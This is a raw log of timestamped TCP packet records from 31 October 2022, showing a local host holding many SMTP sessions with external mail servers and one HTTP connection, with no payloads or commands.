Oct 31, 2022 12:20:29.713325024 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.713325024 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.713330984 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.713349104 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.713366985 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.713386059 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.713387012 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:29.713402987 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.734292030 CET	25	49982	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:29.734581947 CET	49982	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:29.749959946 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:29.750118971 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:29.751061916 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.751934052 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.773894072 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:29.774008036 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:29.778776884 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:29.819067001 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:29.819258928 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:29.884073973 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:29.885042906 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:29.908318996 CET	25	49982	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:29.908469915 CET	49982	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:29.999893904 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:30.005419970 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:30.082153082 CET	25	49982	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:30.082279921 CET	49982	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:30.174482107 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:30.187005043 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:30.187170029 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:30.201652050 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:30.252222061 CET	25	49987	217.69.139.150	192.168.2.5
Oct 31, 2022 12:20:30.252403975 CET	49987	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:20:30.329840899 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:30.330161095 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:30.343714952 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:30.343992949 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:30.370084047 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:30.538213968 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:30.539294958 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:30.647147894 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:30.699239969 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:30.770721912 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:30.771145105 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:30.866317987 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:30.866765976 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:30.903394938 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:31.070086002 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:31.070245028 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:31.088027000 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:31.222065926 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:31.222121954 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:31.222368956 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:31.402590990 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:31.403150082 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:31.434403896 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:31.539160967 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:31.663105011 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:31.663387060 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:31.664530039 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:31.666049957 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:31.672848940 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:31.758311033 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:31.925086975 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:31.925771952 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:31.927090883 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:31.980187893 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:31.981118917 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:31.981132984 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:31.981169939 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:31.981234074 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:31.981234074 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:31.981234074 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:31.981280088 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:31.981296062 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:31.981353998 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:31.981390953 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:31.981405020 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:31.981417894 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:31.981430054 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:31.981452942 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:31.981471062 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:31.981503963 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:31.981564045 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:32.037014008 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.204090118 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.204379082 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.205666065 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.280935049 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.282222033 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.282248974 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.282264948 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.282335997 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.282352924 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.282385111 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.282402992 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.282490015 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.282490015 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.282541990 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.282560110 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.282577038 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.282593012 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.282601118 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.282639980 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.282639980 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.282675982 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.297868967 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.297902107 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.297919035 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.297935963 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.297951937 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.297966957 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.298042059 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.298058987 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.298075914 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.298093081 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.298109055 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.298110962 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:32.298110962 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:32.298125982 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.298142910 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.298160076 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.298173904 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.298187971 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.298199892 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:32.298204899 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.298223019 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.298238993 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.298254967 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.568445921 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.569777012 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.569798946 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.569811106 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.569824934 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.569946051 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.569947004 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.569987059 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.570297003 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.570312977 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.570323944 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.570332050 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.570343971 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.570385933 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.570437908 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.615732908 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.615770102 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.615792990 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.615822077 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.615838051 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.615858078 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.615873098 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.615895033 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.615917921 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.615941048 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.615964890 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.615988016 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.616012096 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.616034031 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.616056919 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.616081953 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.616106987 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.616130114 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.637722015 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.637780905 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.637811899 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.637840986 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.637862921 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.637862921 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.637872934 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.637901068 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.637914896 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.637914896 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.637929916 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.637933969 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.637958050 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.637985945 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.637995958 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.638011932 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.638015985 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.638045073 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.638046026 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.638073921 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.638103962 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.638134003 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.638163090 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.638191938 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.638220072 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.638251066 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.638278961 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.638298035 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.758433104 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.758677959 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:32.758738041 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:32.758827925 CET	49984	25	192.168.2.5	142.250.157.27
Oct 31, 2022 12:20:32.794261932 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:32.848053932 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:32.848499060 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:32.903244019 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:32.907835960 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:32.909507036 CET	50034	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:32.935231924 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935254097 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935265064 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935276985 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935287952 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935300112 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935312033 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935323954 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935334921 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935345888 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935358047 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935363054 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.935369968 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935381889 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935395002 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935405970 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935441971 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.935461998 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:32.935854912 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935902119 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935913086 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935924053 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.935935974 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.961402893 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:32.964898109 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:32.965118885 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:32.993520021 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.993546009 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.993556976 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.993565083 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.993577957 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.993591070 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.993603945 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.993643999 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.993670940 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.993710041 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.993792057 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.993884087 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.993949890 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.994194984 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.994209051 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.994215965 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.994227886 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:32.994240999 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.019001007 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.019355059 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:33.075324059 CET	25	49984	142.250.157.27	192.168.2.5
Oct 31, 2022 12:20:33.078459024 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.100511074 CET	80	50034	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:33.100656033 CET	50034	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:33.100884914 CET	50034	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:33.184474945 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.184660912 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.184731007 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:33.184986115 CET	49981	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:33.221451044 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.239011049 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.239408970 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:33.254606009 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.254776001 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.291794062 CET	80	50034	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:33.291820049 CET	80	50034	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:33.291907072 CET	50034	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:33.292017937 CET	50034	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:33.294436932 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.294864893 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.294996977 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:33.296334982 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.296540976 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.296967983 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:33.299117088 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.299134016 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.299149990 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.299168110 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.299182892 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.299194098 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.299207926 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.299218893 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.299231052 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.299242020 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.299290895 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.299345970 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.299357891 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.299369097 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.299381018 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.299391985 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.299403906 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.299416065 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.329164982 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.340745926 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.340992928 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.350389957 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.350409031 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.350420952 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.350471973 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.350483894 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.350585938 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:33.350639105 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:33.355516911 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.355593920 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:33.379189014 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.382219076 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.382356882 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.404128075 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.404153109 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.404165030 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.404179096 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.404191017 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.404207945 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.404220104 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.404226065 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:33.404231071 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.404242992 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.404253960 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.404266119 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.404267073 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:33.404278040 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.404289961 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.404300928 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:33.404336929 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:33.404350042 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.404361010 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.404369116 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.404385090 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.404392958 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.409020901 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.409049034 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.420608997 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.457792044 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.458070040 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.458095074 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.458113909 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.458131075 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.458147049 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.458163023 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.458179951 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.458197117 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.458240032 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.458257914 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.458273888 CET	25	50031	142.250.150.27	192.168.2.5
